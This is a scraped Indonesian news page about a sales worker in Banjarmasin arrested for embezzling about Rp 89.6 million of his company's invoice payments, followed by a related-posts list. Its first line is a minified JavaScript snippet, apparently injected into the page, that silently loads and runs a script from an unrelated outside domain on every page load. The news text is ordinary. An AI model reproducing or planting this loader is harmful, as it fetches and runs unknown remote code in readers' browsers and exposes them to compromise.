(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Gelapkan Uang Perusahaan Rp 89 Juta, Sales Perusahaan Retail di Banjarmasin Ditangkap


KANALKALIMANTAN.COM, BANJARMASIN – FE (24) asal Kuin Selatan, Kota Banjarmasin, harus berurusan dengan polisi setelah kedapatan menggelapkan dana tagihan perusahaan senilai Rp 89 juta.

Pelaku diduga menggelapkan dana tagihan milik perusahaan PT Mulia Anugerah Distribusindo Banjarmasin, yang bergerak di bidang grosir atau retail. Dirinya berprofesi sebagai sales di perusahaan obat tersebut.

Kejadian itu dibenarkan Kapolsek Banjarmasin Barat, Kompol Faizal Rahman, melalui Kanit Reskrim Polsek Banjarmasin Barat, Ipda Hendra Agustian Ginting.

Dijelaskannya, kepolisian telah menerima laporan oleh pihak perusahaan sejak tanggal 23 November 2022 lalu. Alhasil penyidik pun langsung melakukan penyelidikan terhadap dugaan tersebut.

 

Baca juga : Cegah dan Atasi Pidana Pemilu 2024, Bawaslu HSU Fasilitasi Sentra Gakkumdu

“Dilakukan pengecekan faktur-faktur yang dibawa para sales. Lalu saat dicek faktur milik pelaku ternyata ada kejanggalan, dimana sebelumnya menurut korban sebagian dari toko sudah dibayar. Tapi laporan pelaku belum diserahkan ke pihak perusahaan (korban),” jelasnya, Jumat (9/12/2022).

Setelah diyakini kembali nilai pengecekan yang faktur tersebut. Ternyata benar pelaku telah menggelapkan uang tagihan dengan nilai sebesar Rp 89.638.970.

Adapun sebanyak 12 lembar faktur menjadi barang bukti dari penggelapan yang telah dilakukan oleh pelaku FE.

“Tagihan telah dibayarkan oleh toko-toko tersebut dan atas kejadian tersebut korban mengalami kerugian, dan kemudian melapor ke Polsek Banjarmasin Barat untuk diproses lebih lanjut,” jelasnya.

Baca juga  : Sambut Hari Natal, Bupati Ben Brahim Lepas Ribuan Peserta Pawai Lilin

Karena tidak membayarkan seluruh tagihan uang perusahaan, pelaku langsung diamankan pada Kamis (8/12/2022) sekitar pukul 17.30 Wita, di Jalan Trans Kalimantan, Komplek Griya Permata Kelurahan Alalak, Kabupaten Barito Kuala (Batola).

“Pada 8 Desember sore sekitar pukul 17.30 Wita, pelaku berhasil kami amankan dan dibawa ke Polsek Banjarmasin Barat guna proses hukum lebih lanjut.

Kini atas perbuatannya pelaku FE dijerat sesuai Pasal 374 Kitab Undang-undang Hukum Pidana (KUHP). (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

8 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

9 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

10 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.